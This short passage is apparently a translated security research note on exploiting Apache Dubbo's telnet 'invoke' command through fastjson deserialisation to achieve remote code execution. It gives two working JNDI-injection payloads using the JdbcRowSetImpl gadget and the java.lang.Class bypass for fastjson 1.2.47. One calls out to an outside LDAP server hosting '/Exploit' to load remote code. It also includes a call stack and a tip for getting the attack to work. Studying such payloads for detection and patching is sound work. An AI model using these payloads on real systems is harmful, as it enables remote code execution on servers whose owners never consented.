Fastjson is used by default for parsing strings, which can be combined with fastjson to implement RCE.
invoke ({ "111": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "222": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://192.168.85.1:8089/test_by_cqq", "autoCommit": true })
Call the invoke command and then (), fill in the json format of {} in the middle.
If fastjson exists, the 1.2.47 payload is used:
invoke ({ "111": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "222": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://333.e9f7d0ac5032df304f03.d.zhack.ca:1389/Exploit", "autoCommit": true } })
The call stack is:
telnet:81, InvokeTelnetHandler (org.apache.dubbo.qos.legacy)
telnet:59, TelnetHandlerAdapter (org.apache.dubbo.remoting.telnet.support)
received:187, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
The following is the calling process of fastjson's JSON.parseArray method.
If it appears:
Invalid json argument, cause: com/alibaba/fastjson/JSON
Indicates that pom needs to add fastjson dependency.